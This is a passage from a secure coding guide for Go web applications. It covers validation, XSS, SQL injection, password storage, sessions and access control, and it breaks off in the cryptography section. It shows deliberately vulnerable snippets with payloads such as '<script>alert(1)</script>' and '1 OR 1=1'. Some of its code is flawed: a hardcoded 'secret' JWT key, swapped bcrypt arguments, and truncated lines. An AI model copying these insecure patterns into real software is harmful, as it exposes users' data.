The Go

Language
Guide
Web Application
Secure Coding Practices

This work is licensed under the Creative Commons

Attribution-ShareAlike 4.0 International License
 Table of Contents
Introduction 1.1

Input Validation 1.2

Validation 1.2.1

Sanitization 1.2.2

Output Encoding 1.3

XSS - Cross-Site Scripting 1.3.1

SQL Injection 1.3.2

Authentication and Password Management 1.4

Communicating authentication data 1.4.1

Validation and Storage 1.4.2

Password policies 1.4.3

Other guidelines 1.4.4

Session Management 1.5

Access Control 1.6

Cryptographic Practices 1.7

Pseudo-Random Generators 1.7.1

Error Handling and Logging 1.8

Error Handling 1.8.1

Logging 1.8.2

Data Protection 1.9

Communication Security 1.10

HTTP/TLS 1.10.1

WebSockets 1.10.2

System Configuration 1.11

Database Security 1.12

Connections 1.12.1

Authentication 1.12.2

Parameterized Queries 1.12.3

Stored Procedures 1.12.4

File Management 1.13

Memory Management 1.14

General Coding Practices 1.15

Cross-Site Request Forgery 1.15.1

Regular Expressions 1.15.2

How To Contribute 1.16

1
 Final Notes 1.17

2
 Introduction
Go Language - Web Application Secure Coding Practices is a guide
written for anyone who is using the Go Programming Language and
aims to use it for web development.

This book is collaborative effort of Checkmarx Security Research Team

and it follows the OWASP Secure Coding Practices - Quick Reference
Guide v2 (stable) release.

The main goal of this book is to help developers avoid common

mistakes while at the same time, learning a new programming
language through a "hands-on approach". This book provides a good
level of detail on "how to do it securely" showing what kind of security
problems could arise during development.

Why This Guide

According to Stack Overflow’s annual Developer Survey, Go has made
the top 5 most Loved and Wanted programming languages list for
the second year in a row. With its surge in popularity, it is critical that
applications developed in Go are designed with security in mind.

Checkmarx Research Team helps educate developers, security

teams, and the industry overall about common coding errors, and
brings awareness of vulnerabilities that are often introduced during
the software development process.

The Audience for this Guide

The primary audience of the Go Secure Coding Practices Guide is
developers, particularly the ones with previous experience with other
programming languages.

The book is also a great reference to those learning programming for

the first time, who have already finish the Go tour.

What You Will Learn

This book covers the OWASP Secure Coding Practices Guide topic-by-
topic, providing examples and recommendations using Go, to help
developers avoid common mistakes and pitfalls.

After reading this book, you'll be more confident you're developing

secure Go applications.

3
 About OWASP Secure Coding
Practices
The Secure Coding Practices Quick Reference Guide is an OWASP -
Open Web Application Security Proj ect. It is a "technology agnostic set
of general software security coding practices, in a comprehensive
checklist format, that can be integrated into the development lifecycle "
(source).

OWASP itself is "an open community dedicated to enabling

organizations to conceive, develop, acquire, operate, and maintain
applications that can be trusted. All of the OWASP tools, documents,
forums, and chapters are free and open to anyone interested in
improving application security " (source).

How to Contribute
This book was created using a few open source tools. If you're curious
about how we built it from scratch, read the HowTo contribute section.

4
 Input Validation
In web application security, user input and its associated data are a
security risk if left unchecked. We address this risk by using "Input
Validation" and "Input Sanitization". These should be performed in
every tier of the application, according to the server's function. An
important note is that all data validation procedures must be done
on trusted systems (i.e. on the server).

As noted in the OWASP SCP Quick Reference Guide, there are sixteen
bullet points that cover the issues that developers should be aware
of when dealing with Input Validation. A lack of consideration for
these security risks when developing an application is one of the
main reasons Injection ranks as the number 1 vulnerability in the
"OWASP Top 10".

User interaction is a fundamental requirement of the current

development paradigm in web applications. As web applications
become increasingly richer in content and possibilities, user
interaction and submitted user data also increases. It is in this
context that Input Validation plays a significant role.

When applications handle user data, the input data must be

considered insecure by default, and only accepted after the
appropriate security checks have been made. Data sources must
also be identified as trusted, or untrusted, and in the case of an
untrusted source, validation checks must be made.

In this section an overview of each technique is provided, along with

a sample in Go to illustrate the issues.

Validation
1. User Interactivity
Whitelisting
Boundary checking
Character escaping
Numeric validation
2. File Manipulation
3. Data sources
Cross-system consistency checks
Hash totals
Referential integrity
Uniqueness check
Table look up check
Post-validation Actions
1. Enforcement Actions
Advisory Action
Verification Action
Sanitization

5
 1. Check for invalid UTF-8
Convert single less-than characters (<) to entity
Strip all tags
Remove line breaks, tabs and extra white space
Strip octets
URL request path

6
 Validation
In validation checks, the user input is checked against a set of
conditions in order to guarantee that the user is indeed entering the
expected data.

IMPORTANT: If the validation fails, the input must be rejected.

This is important not only from a security standpoint but from the
perspective of data consistency and integrity, since data is usually
used across a variety of systems and applications.

This article lists the security risks developers should be aware of

when developing web applications in Go.

User Interactivity
Any part of an application that allows user input is a potential
security risk. Problems can occur not only from threat actors that
seek a way to compromise the application, but also from erroneous
input caused by human error (statistically, the majority of the invalid
data situations are usually caused by human error). In Go there are
several ways to protect against such issues.

Go has native libraries which include methods to help ensure such

errors are not made. When dealing with strings we can use
packages like the following examples:

strconv package handles string conversion to other datatypes.

Atoi

ParseBool

ParseFloat

ParseInt

strings package contains all functions that handle strings and

its properties.
Trim

ToLower

ToTitle

package support for regular expressions to accommodate

regexp

custom formats 1.
utf8 package implements functions and constants to support
text encoded in UTF-8. It includes functions to translate between
runes and UTF-8 byte sequences.

Validating UTF-8 encoded runes:

Valid

ValidRune

ValidString

7
 Encoding UTF-8 runes:

EncodeRune

Decoding UTF-8:

DecodeLastRune

DecodeLastRuneInString

DecodeRune

DecodeRuneInString

Note: Forms are treated by Go as Maps of String values.

Other techniques to ensure the validity of the data include:

Whitelisting - whenever possible validate the input against a

whitelist of allowed characters. See Validation - Strip tags.
Boundary checking - both data and numbers length should be
verified.
Character escaping - for special characters such as standalone
quotation marks.
Numeric validation - if input is numeric.
Check for Null Bytes - (%00)

Checks for new line characters - %0d , %0a , \r , \n

Checks forpath alteration characters - ../ or \\..

Checks for Extended UTF-8 - check for alternative representations

of special characters

Note: Ensure that the HTTP request and response headers only
contain ASCII characters.

Third-party packages exist that handle security in Go:

Gorilla - One of the most used packages for web application

security. It has support for websockets , cookie sessions , RPC , among
others.
Form - Decodes url.Values into Go value(s) and Encodes Go
value(s) into url.Values . Dual Array and Full map support.
Validator - Go Struct and Field validation, including Cross Field ,
Cross Struct , Map as well as Slice and Array diving.

File Manipulation
Any time file usage is required ( read or write a file ), validation
checks should also be performed, since most of the file manipulation
operations deal with user data.

Other file check procedures include "File existence check", to verify

that a filename exists.

Addition file information is in the File Management section and

information regarding Error Handling can be found in the Error
Handling section of the document.

8
 Data sources
Anytime data is passed from a trusted source to a less-trusted
source, integrity checks should be made. This guarantees that the
data has not been tampered with and we are receiving the intended
data. Other data source checks include:

Cross-system consistency checks

Hash totals
Referential integrity

Note: In modern relational databases, if values in the primary key

field are not constrained by the database's internal mechanisms
then they should be validated.

Uniqueness check
Table look up check

Post-validation Actions
According to Data Validation's best practices, the input validation is
only the first part of the data validation guidelines. Therefore, Post-
validation Actions should also be performed. The Post-validation
Actions used vary with the context and are divided in three separate
categories:

Enforcement Actions Several types of Enforcement Actions

exist in order to better secure our application and data.

inform the user that submitted data has failed to comply with
the requirements and therefore the data should be modified
in order to comply with the required conditions.
modify user submitted data on the server side without
notifying the user of the changes made. This is most suitable
in systems with interactive usage.
Note: The latter is used mostly in cosmetic changes (modifying
sensitive user data can lead to problems like truncating, which
result in data loss).

Advisory Action Advisory Actions usually allow for unchanged

data to be entered, but the source actor is informed that there
were issues with said data. This is most suitable for non-
interactive systems.
Verification Action Verification Action refer to special cases in
Advisory Actions. In these cases, the user submits the data and
the source actor asks the user to verify the data and suggests
changes. The user then accepts these changes or keeps his
original input.

9
 A simple way to illustrate this is a billing address form, where the
user enters his address and the system suggests addresses
associated with the account. The user then accepts one of
these suggestions or ships to the address that was initially
entered.

1 . Before writing your own regular expression have a look at

OWASP Validation Regex Repository ↩

10
 Sanitization
Sanitization refers to the process of removing or replacing submitted
data. When dealing with data, after the proper validation checks
have been made, sanitization is an additional step that is usually
taken to strengthen data safety.

The most common uses of sanitization are as follows:

Convert single less-than

characters < to entity
In the native package html there are two functions used for
sanitization: one for escaping HTML text and another for unescaping
HTML. The function EscapeString() , accepts a string and returns the
same string with the special characters escaped. i.e. < becomes
&lt; . Note that this function only escapes the following five
characters: < , > , & , ' and " . Other characters should be
encoded manually, or, you can use a third party library that encodes
all relevant characters. Conversely there is also the UnescapeString()

function to convert from entities to characters.

Strip all tags

Although the html/template package has a stripTags() function, it's
unexported. Since no other native package has a function to strip all
tags, the alternatives are to use a third-party library, or to copy the
whole function along with its private classes and functions.

Some of the third-party libraries available to achieve this are:

https://github.com/kennygrant/sanitize
https://github.com/maxwells/sanitize
https://github.com/microcosm-cc/bluemonday

Remove line breaks, tabs and

extra white space
The text/template and the html/template include a way to remove
whitespaces from the template, by using a minus sign - inside the
action's delimiter.

Executing the template with source

{{- 23}} < {{45 -}}

11
 will lead to the following output

23<45

NOTE: If the minus - sign is not placed immediately after the

opening action delimiter {{ or before the closing action delimiter
}} , the minus sign - will be applied to the value

Template source

{{ -3 }}

leads to

-3

URL request path

In the net/http package there is an HTTP request multiplexer type
called ServeMux . It is used to match the incoming request to the
registered patterns, and calls the handler that most closely matches
the requested URL. In addition to its main purpose, it also takes care
of sanitizing the URL request path, redirecting any request
containing . or .. elements or repeated slashes to an equivalent,
cleaner URL.

A simple Mux example to illustrate:

func main() {
mux := http.NewServeMux()

rh := http.RedirectHandler("http://yourDomain.org", 307)
mux.Handle("/login", rh)

log.Println("Listening...")
http.ListenAndServe(":3000", mux)
}

NOTE: Keep in mind that ServeMux doesn't change the URL request
path for CONNECT requests, thus possibly making an application
vulnerable for path traversal attacks if allowed request methods are
not limited.

The following third-party packages are alternatives to the native

HTTP request multiplexer, providing additional features. Always
choose well tested and actively maintained packages.

Gorilla Toolkit - MUX

12
 Output Encoding
Although output encoding only has six bullets in the section on
OWASP SCP Quick Reference Guide, undesirable practices of Output
Encoding are rather prevalent in Web Application development, thus
leading to the Top 1 vulnerability: Injection.

As Web Applications become more complex, the more data sources

they usually have, for example: users, databases, thirty party
services, etc. At some point in time collected data is outputted to
some media (e.g. a web browser) which has a specific context. This
is exactly when injections happen if you do not have a strong Output
Encoding policy.

Certainly you've already heard about all the security issues we will
approach in this section, but do you really know how do they happen
and/or how to avoid them?

13
 XSS - Cross Site Scripting
Although most developers have heard about it, most have never
tried to exploit a Web Application using XSS.

Cross Site Scripting has been on OWASP Top 10 security risks since
2003 and it's still a common vulnerability. The 2013 version is quite
detailed about XSS, for example: attack vectors, security weakness,
technical impacts and business impacts.

In short

You are vulnerable if you do not ensure that all user supplied
input is properly escaped, or you do not verify it to be safe via
server-side input validation, before including that input in the
output page. (source)

Go, just like any other multi-purpose programming language, has

everything needed to mess with and make you vulnerable to XSS,
despite the documentation being clear about using the
html/template package. Quite easily, you can find "hello world"
examples using net/http and io packages. And without realizing it,
you're vulnerable to XSS.

Imagine the following code:

package main

import "net/http"
import "io"

func handler (w http.ResponseWriter, r *http.Request) {

io.WriteString(w, r.URL.Query().Get("param1"))
}

func main () {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}

This snippet creates and starts an HTTP Server listening on port

8080 ( main() ), handling requests on server's root ( / ).

The handler() function, which handles requests, expects a Query

String parameter param1 , whose value is then written to the response
stream ( w ).

As Content-Type HTTP response header is not explicitly defined, Go

http.DetectContentType default value will be used, which follows the
WhatWG spec.

So, making param1 equal to "test", will result in Content-Type HTTP

response header to be sent as text/plain .

14
 But if param1 first characters are "<h1>", Content-Type will be text/html .

You may think that making param1 equal to any HTML tag will lead to
the same behavior, but it won't. Making param1 equal to "<h2>", "
<span>" or "<form>" will make Content-Type to be sent as plain/text

instead of expected text/html .

Now let's make param1 equal to <script>alert(1)</script> .

As per the WhatWG spec, Content-Type HTTP response header will be

sent as text/html , param1 value will be rendered, and here it is, the
XSS (Cross Site Scripting).

15
 After talking with Google regarding this situation, they informed us
that:

It's actually very convenient and intended to be able to print

html and have the content-type set automatically. We expect
that programmers will use html/template for proper escaping.

Google states that developers are responsible for sanitizing and

protecting their code. We totally agree BUT in a language where
security is a priority, allowing Content-Type to be set automatically
besides having text/plain as default, is not the best way to go.

Let's make it clear: text/plain and/or the text/template package won't

keep you away from XSS, since it does not sanitize user input.

package main

import "net/http"
import "text/template"

func handler(w http.ResponseWriter, r *http.Request) {

param1 := r.URL.Query().Get("param1")

tmpl := template.New("hello")
tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`)
tmpl.ExecuteTemplate(w, "T", param1)
}

func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}

Making param1 equal to "<h1>" will lead to Content-Type being sent as

text/html . This is what makes you vulnerable to XSS.

16
 By replacing the text/template package with the html/template one,
you'll be ready to proceed... safely.

package main

import "net/http"
import "html/template"

func handler(w http.ResponseWriter, r *http.Request) {

param1 := r.URL.Query().Get("param1")

tmpl := template.New("hello")
tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`)
tmpl.ExecuteTemplate(w, "T", param1)
}

func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}

Not only Content-Type HTTP response header will be sent as text/plain

when param1 is equal to "<h1>"

but also param1 is properly encoded to the output media: the

browser.

17
18
 SQL Injection
Another common injection that's due to the lack of proper output
encoding is SQL Injection. This is mostly due to an old bad practice:
string concatenation.

In short, whenever a variable holding a value which may include

arbitrary characters such as ones with special meaning to the
database management system is simply added to a (partial) SQL
query, you're vulnerable to SQL Injection.

Imagine you have a query such as the one below:

ctx := context.Background()
customerId := r.URL.Query().Get("id")
query := "SELECT number, expireDate, cvv FROM creditcards WHERE customerId = " + cust

row, _ := db.QueryContext(ctx, query)

You're about to be exploited and subsequently breached.

For example, when provided a valid customerId value you will only list
that customer's credit card(s). But what if customerId becomes 1 OR

1=1 ?

Your query will look like:

SELECT number, expireDate, cvv FROM creditcards WHERE customerId = 1 OR 1=1

... and you will dump all table records (yes, 1=1 will be true for any
record)!

There's only one way to keep your database safe: Prepared

Statements.

ctx := context.Background()
customerId := r.URL.Query().Get("id")
query := "SELECT number, expireDate, cvv FROM creditcards WHERE customerId = ?"

stmt, _ := db.QueryContext(ctx, query, customerId)

Notice the placeholder ? . Your query is now:

readable,
shorter and
SAFE

Placeholder syntax in prepared statements is database-specific. For

example, comparing MySQL, PostgreSQL, and Oracle:

19
 MySQL PostgreSQL Oracle

WHERE col =
WHERE col = $1 WHERE col = :col
?

VALUES(?, ?, VALUES($1, $2, VALUES(:val1, :val2,

?) $3) :val3)

Check the Database Security section in this guide to get more in-
depth information about this topic.

20
 Authentication and Password
Management
OWASP Secure Coding Practices is a valuable document for
programmers to help them to validate if all best practices were
followed during project implementation. Authentication and Password
Management are critical parts of any system and they are covered in
detail from user signup, to credentials storage, password reset and
private resources access.

Some guidelines may be grouped for more in-depth details. Plus,

source code examples are provided to illustrate the topics.

Rules of Thumb
Let's start with the rules of thumb: "all authentication controls must
be enforced on a trusted system" which usually is the server where
the application's backend is running.

For the sake of system's simplicity, and to reduce the points of

failure, you should utilize standard and tested authentication
services. Usually frameworks already have such a module and you're
encouraged to use them as they are developed, maintained, and
used by many people behaving as a centralized authentication
mechanism. Nevertheless, you should "inspect the code carefully to
ensure it is not affected by any malicious code", and be sure that it
follows the best practices.

Resources which require authentication should not perform it

themselves. Instead, "redirection to and from the centralized
authentication control" should be used. Be careful handling
redirection: you should redirect only to local and/or safe resources.

Authentication should not be used only by the application's users,

but also by your own application when it requires "connection to
external systems that involve sensitive information or functions". In
these cases, "authentication credentials for accessing services
external to the application should be encrypted and stored in a
protected location on a trusted system (e.g., the server). The source
code is NOT a secure location ".

21
 Communicating authentication
data
In this section, "communication" is used in a broader sense,
encompassing User Experience (UX) and client-server
communication.

Not only is it true that "password entry should be obscured on user's

screen ",
but also the "remember me functionality should be disabled ".

You can accomplish both by using an input field with type="password" ,

and setting the autocomplete attribute to off 1 .

<input type="password" name="passwd" autocomplete="off" />

Authentication credentials should be sent only through encrypted

connections (HTTPS). An exception to the encrypted connection may
be the temporary passwords associated with email resets.

Remember that requested URLs are usually logged by the HTTP

server ( access_log ), which include the query string. To prevent
authentication credentials leakage to HTTP server logs, data should
be sent to the server using the HTTP POST method.

xxx.xxx.xxx.xxx - - [27/Feb/2017:01:55:09 +0000] "GET /?username=user&password=70pS3c

A well-designed HTML form for authentication would look like:

<form method="post" action="https://somedomain.com/user/signin" autocomplete="off">

<input type="hidden" name="csrf" value="CSRF-TOKEN" />

<label>Username <input type="text" name="username" /></label>

<label>Password <input type="password" name="password" /></label>

<input type="submit" value="Submit" />

</form>

When handling authentication errors, your application should not

disclose which part of the authentication data was incorrect. Instead
of "Invalid username" or "Invalid password", just use "Invalid
username and/or password" interchangeably:

22
 <form method="post" action="https://somedomain.com/user/signin" autocomplete="off">
<input type="hidden" name="csrf" value="CSRF-TOKEN" />

<div class="error">
<p>Invalid username and/or password</p>
</div>

<label>Username <input type="text" name="username" /></label>

<label>Password <input type="password" name="password" /></label>

<input type="submit" value="Submit" />

</form>

Using a generic message you do not disclose:

Who is registered: "Invalid password" means that the username

exists.
How your system works: "Invalid password" may reveal how your
application works, first querying the database for the username

and then comparing passwords in-memory.

An example of how to perform authentication data validation (and

storage) is available at Validation and Storage section.

After a successful login, the user should be informed about the last
successful or unsuccessful access date/time so that he can detect
and report suspicious activity. Further information regarding logging
can be found in the Error Handling and Logging section of the document.
Additionally, it is also recommended to use a constant time
comparison function while checking passwords in order to prevent a
timing attack. The latter consists of analyzing the difference of time
between multiple requests with different inputs. In this case, a
standard comparison of the form record == password would return false
at the first character that does not match. The closer the submitted
password is, the longer the response time. By exploiting that, an
attacker could guess the password. Note that even if the record
doesn't exist, we always force the execution of
subtle.ConstantTimeCompare with an empty value to compare it to the user
input.

1 . How to Turn Off Form Autocompletion, Mozilla Developer

Network ↩
2 . Log Files, Apache Documentation ↩

3 . log_format, Nginx log_module "log_format" directive ↩

23
 Validation and storing
authentication data

Validation

The key subject of this section is the "authentication data storage",

since more often than desirable, user account databases are leaked
on the Internet. Of course, this is not guaranteed to happen. But in
the case of such an event, collateral damages can be avoided if
authentication data, especially passwords, are stored properly.

First, let's be clear that "all authentication controls should fail

securely". We recommend you read all other "Authentication and
Password Management" sections, since they cover recommendations
about reporting back wrong authentication data and how to handle
logging.

One other preliminary recommendation is as follow: for sequential

authentication implementations (like Google does nowadays),
validation should happen only on the completion of all data input, on
a trusted system (e.g. the server).

Storing password securely: the

theory
Now let's discuss storing passwords.

You really don't need to store passwords, since they are provided by
the users (plaintext). But you will need to validate on each
authentication whether users are providing the same token.

So, for security reasons, what you need is a "one way" function H ,
so that for every password p1 and p2 , p1 is different from p2 ,
H(p1) is also different from H(p2)
1.

Does this sound, or look like math? Pay attention to this last
requirement: H should be such a function that there's no function
H⁻¹ so that H⁻¹(H(p1)) is equal to p1 . This means that there's no
way back to the original p1 , unless you try all possible values of p .

If H is one-way only, what's the real problem about account

leakage?

Well, if you know all possible passwords, you can pre-compute their
hashes and then run a rainbow table attack.

24
 Certainly you were already told that passwords are hard to manage
from user's point of view, and that users are not only able to re-use
passwords, but they also tend to use something that's easy to
remember, hence somehow guessable.

How can we avoid this?

The point is: if two different users provide the same password p1 ,
we should store a different hashed value. It may sound impossible,
but the answer is salt : a pseudo-random unique per user
password value which is prepended to p1 , so that the resulting
hash is computed as follows: H(salt + p1) .

So each entry on a passwords store should keep the resulting hash,

and the salt itself in plaintext: salt is not required to remain
private.

Last recommendations.

Avoid using deprecated hashing algorithms (e.g. SHA-1, MD5,

etc)
Read the Pseudo-Random Generators section.

The following code-sample shows a basic example of how this works:

25
 package main

import (
"crypto/rand"
"crypto/sha256"
"database/sql"
"context"
"fmt"
)

const saltSize = 32

func main() {
ctx := context.Background()
email := []byte("[email protected]")
password := []byte("47;u5:B(95m72;Xq")

// create random word

salt := make([]byte, saltSize)
_, err := rand.Read(salt)
if err != nil {
panic(err)
}

// let's create SHA256(salt+password)

hash := sha256.New()
hash.Write(salt)
hash.Write(password)

// this is here just for demo purposes

//
// fmt.Printf("email : %s\n", string(email))
// fmt.Printf("password: %s\n", string(password))
// fmt.Printf("salt : %x\n", salt)
// fmt.Printf("hash : %x\n", hash.Sum(nil))

// you're supposed to have a database connection

stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, salt=?, ema
if err != nil {
panic(err)
}
result, err := stmt.ExecContext(ctx, email, h, salt)
if err != nil {
panic(err)
}

However, this approach has several flaws and should not be used. It
is shown here only to illustrate the theory with a practical example.
The next section explains how to correctly salt passwords in real life.

Storing password securely: the

practice
One of the most important sayings in cryptography is: never roll
your own crypto. By doing so, one can put the entire application at
risk. It is a sensitive and complex topic. Hopefully, cryptography

26
 provides tools and standards reviewed and approved by experts. It is
therefore important to use them instead of trying to re-invent the
wheel.

In the case of password storage, the hashing algorithms

recommended by OWASP are bcrypt , PDKDF2 , Argon2 and scrypt .
Those take care of hashing and salting passwords in a robust way.
Go authors provide an extended package for cryptography, that is
not part of the standard library. It provides robust implementations
for most of the aforementioned algorithms. It can be downloaded
using go get :

go get golang.org/x/crypto

The following example shows how to use bcrypt, which should be

good enough for most of the situations. The advantage of bcrypt is
that it is simpler to use, and is therefore less error-prone.

package main

import (
"database/sql"
"context"
"fmt"

"golang.org/x/crypto/bcrypt"
)

func main() {
ctx := context.Background()
email := []byte("[email protected]")
password := []byte("47;u5:B(95m72;Xq")

// Hash the password with bcrypt

hashedPassword, err := bcrypt.GenerateFromPassword(password, bcrypt.DefaultCost)
if err != nil {
panic(err)
}

// this is here just for demo purposes

//
// fmt.Printf("email : %s\n", string(email))
// fmt.Printf("password : %s\n", string(password))
// fmt.Printf("hashed password: %x\n", hashedPassword)

// you're supposed to have a database connection

stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, email=?")
if err != nil {
panic(err)
}
result, err := stmt.ExecContext(ctx, hashedPassword, email)
if err != nil {
panic(err)
}
}

27
 Bcrypt also provides a simple and secure way to compare a plaintext
password with an already hashed password:

ctx := context.Background()

// credentials to validate
email := []byte("[email protected]")
password := []byte("47;u5:B(95m72;Xq")

// fetch the hashed password corresponding to the provided email

record := db.QueryRowContext(ctx, "SELECT hash FROM accounts WHERE email = ? LIMIT 1"

var expectedPassword string

if err := record.Scan(&expectedPassword); err != nil {
// user does not exist

// this should be logged (see Error Handling and Logging) but execution
// should continue
}

if bcrypt.CompareHashAndPassword(password, []byte(expectedPassword)) != nil {

// passwords do not match

// passwords mismatch should be logged (see Error Handling and Logging)

// error should be returned so that a GENERIC message "Sign-in attempt has
// failed, please check your credentials" can be shown to the user.
}

If you're not comfortable with password hashing and comparison

options/parameters, better delegating the task to specialized third-
party package with safe defaults. Always opt for an actively
maintained package and remind to check for known issues.

passwd - A Go package that provides a safe default abstraction

for password hashing and comparison. It has support for original
go bcrypt implementation, argon2, scrypt, parameters masking
and key'ed (uncrackable) hashes.
1 . Hashing functions are the subject of Collisions but

recommended hashing functions have a really low collisions

probability ↩

28
 Password Policies
Passwords are a historical asset, part of most authentication
systems, and are the number one target of attackers.

Quite often some service leaks its users' database, and despite the
leak of email addresses and other personal data, the biggest
concern are passwords. Why? Because passwords are not easy to
manage and remember. Users not only tend to use weak passwords
(e.g. "123456") they can easily remember, they can also re-use the
same password for different services.

If your application sign-in requires a password, the best you can do

is to "enforce password complexity requirements, (...) requiring the use
of alphabetic as well as numeric and/or special characters) ". Password
length should also be enforced: "eight characters is commonly used,
but 16 is better or consider the use of multi-word pass phrases".

Of course, none of the previous guidelines will prevent users from re-
using the same password. The best you can do to reduce this bad
practice is to "enforce password changes", and preventing password
re-use. "Critical systems may require more frequent changes. The time
between resets must be administratively controlled ".

Reset
Even if you're not applying any extra password policy, users still need
to be able to reset their password. Such a mechanism is as critical
as signup or sign-in, and you're encouraged to follow the best
practices to be sure your system does not disclose sensitive data
and become compromised.

"Passwords should be at least one day old before they can be changed ".
This way you'll prevent attacks on password re-use. Whenever using
"email based resets, only send email to a pre-registered address with a
temporary link/password " which should have a short expiration
period.

Whenever a password reset is requested, the user should be

notified. The same way, temporary passwords should be changed on
the next usage.

A common practice for password reset is the "Security Question",

whose answer was previously configured by the account owner.
"Password reset questions should support sufficiently random answers":
asking for "Favorite Book?" may lead to "The Bible" which makes this
reset questions undesirable in most cases.

29
 Other guidelines
Authentication is a critical part of any system, therefore you should
always employ correct and safe practices. Below are some guidelines
to make your authentication system more resilient:

"Re-authenticate users prior to performing critical operations"

"Use Multi-Factor Authentication for highly sensitive or high value
transactional accounts"
"Implement monitoring to identify attacks against multiple user
accounts, utilizing the same password. This attack pattern is used
to bypass standard lockouts, when user IDs can be harvested or
guessed "
"Change all vendor-supplied default passwords and user IDs or
disable the associated accounts"
"Enforce account disabling after an established number of invalid
login attempts (e.g., five attempts is common). The account must
be disabled for a period of time sufficient to discourage brute force
guessing of credentials, but not so long as to allow for a denial-of-
service attack to be performed "

30
 Session Management
In this section we will cover the most important aspects of session
management according to OWASP's Secure Coding Practices. An
example is provided along with an overview of the rationale behind
these practices. Along with this text, there is a folder which contains
the complete source code of the program we will analyze during this
section. The flow of the session process can be seen in the following
image:

When dealing with session management, the application should only

recognize the server's session management controls, and the
session's creation should be done on a trusted system. In the code
example provided, our application generates a session using JWT.
This is done in the following function:

// create a JWT and put in the clients cookie

func setToken(res http.ResponseWriter, req *http.Request) {
...
}

We must ensure that the algorithms used to generate our session

identifier are sufficiently random, to prevent session brute forcing.

...
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
signedToken, _ := token.SignedString([]byte("secret")) //our secret
...

Now that we have a sufficiently strong token, we must also set the
Domain , Path , Expires , HTTP only , Secure for our cookies. In this case
the Expires value is in this example set to 30 minutes since we are
considering our application a low-risk application.

// Our cookie parameter

cookie := http.Cookie{
Name: "Auth",
Value: signedToken,
Expires: expireCookie,
HttpOnly: true,
Path: "/",
Domain: "127.0.0.1",
Secure: true
}

http.SetCookie(res, &cookie) //Set the cookie

31
 Upon sign-in, a new session is always generated. The old session is
never re-used, even if it is not expired. We also use the Expire

parameter to enforce periodic session termination as a way to

prevent session hijacking. Another important aspect of cookies is to
disallow a concurrent login for the same username. This can be done
by keeping a list of logged in users, and comparing the new login
username against this list. This list of active users is usually kept in a
Database.

Session identifiers should never be exposed in URL's. They should

only be located in the HTTP cookie header. An example of an
undesirable practice is to pass session identifiers as GET
parameters. Session data must also be protected from unauthorized
access by other users of the server.

Regarding HTTP to HTTPS connection changes, special care should

be taken to prevent Man-in-the-Middle (MITM) attacks that sniff and
potentially hijack the user's session. The best practice regarding this
issue, is to use HTTPS in all requests. In the following example our
server is using HTTPS.

err := http.ListenAndServeTLS(":443", "cert/cert.pem", "cert/key.pem", nil)

if err != nil {
log.Fatal("ListenAndServe: ", err)
}

In case of highly sensitive or critical operations, the token should be

generated per-request, instead of per-session. Always make sure the
token is sufficiently random and has a length secure enough to
protect against brute forcing.

The final aspect to consider in session management, is the Logout

functionality. The application should provide a way to logout from all
pages that require authentication, as well as fully terminate the
associated session and connection. In our example, when a user
logs out, the cookie is deleted from the client. The same action
should be taken in the location where we store our user session
information.

...
cookie, err := req.Cookie("Auth") //Our auth token
if err != nil {
res.Header().Set("Content-Type", "text/html")
fmt.Fprint(res, "Unauthorized - Please login <br>")
fmt.Fprintf(res, "<a href=\"login\"> Login </a>")
return
}
...

The full example can be found in session.go

32
 Access Control
When dealing with access controls the first step to take is to use
only trusted system objects for access authorization decisions. In the
example provided in the Session Management section, we
implemented this using JWT: JSON Web Tokens to generate a session
token on the server-side.

// create a JWT and put in the clients cookie

func setToken(res http.ResponseWriter, req *http.Request) {
//30m Expiration for non-sensitive applications - OWASP
expireToken := time.Now().Add(time.Minute * 30).Unix()
expireCookie := time.Now().Add(time.Minute * 30)

//token Claims
claims := Claims{
{...}
}

token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)

signedToken, _ := token.SignedString([]byte("secret"))

We can then store and use this token to validate the user and
enforce our Access Control model.

The component used for access authorization should be a single

one, used site-wide. This includes libraries that call external
authorization services.

In case of a failure, access control should fail securely. In Go we can

use defer to achieve this. There are more details in the Error
Logging section of this document.

If the application cannot access its configuration information, all

access to the application should be denied.

Authorization controls should be enforced on every request,

including server-side scripts, as well as requests from client-side
technologies like AJAX or Flash.

It is also important to properly separate privileged logic from the rest

of the application code.

Other important operations where access controls must be enforced

in order to prevent an unauthorized user from accessing them, are
as follows:

File and other resources

Protected URL's
Protected functions
Direct object references
Services
Application data

33
 User and data attributes and policy information.

In the provided example, a simple direct object reference is tested.

This code is built upon the sample in the Session Management.

When implementing these access controls, it's important to verify

that the server-side implementation and the presentation layer
representations of access control rules are the same.

If state data needs to be stored on the client-side, it's necessary to

use encryption and integrity checking in order to prevent tampering.

Application logic flow must comply with the business rules.

When dealing with transactions, the number of transactions a single

user or device can perform in a given period of time must be above
the business requirements but low enough to prevent a user from
performing a Denial-of-Service (DoS) attack.

It is important to note that using only the referer HTTP header is

insufficient to validate authorization, and should only be used as a
supplemental check.

Regarding long authenticated sessions, the application should

periodically re-evaluate the user's authorization to verify that the
user's permissions have not changed. If the permissions have
changed, log the user "out" and force them to re-authenticate.

User accounts should also have a way to audit them, in order to

comply with safety procedures. (e.g. Disabling a user's account 30
days after the password's expiration date).

The application must also support the disabling of accounts and the
termination of sessions when a user's authorization is revoked. (e.g.
role change, employment status, etc.).

When supporting external service accounts and accounts that

support connections from or to external systems, these accounts
must use the lowest level privilege possible.

34
 Cryptographic Practices
Let's make the first statement as strong as your cryptography should
be: hashing and encrypting are two different things.

There's a general misconception, and most of the time, hashing and

encrypting are used interchangeably, in an incorrect way. They are
different concepts, and they also serve different purposes.

A hash is a string or number generated by a (hash) function from

source data:

hash := F(data)

The hash has a fixed length and its value vary widely with small
variations in input (collisions may still happen). A good hashing
algorithm won't allow a hash to turn into its original source 1. MD5 is
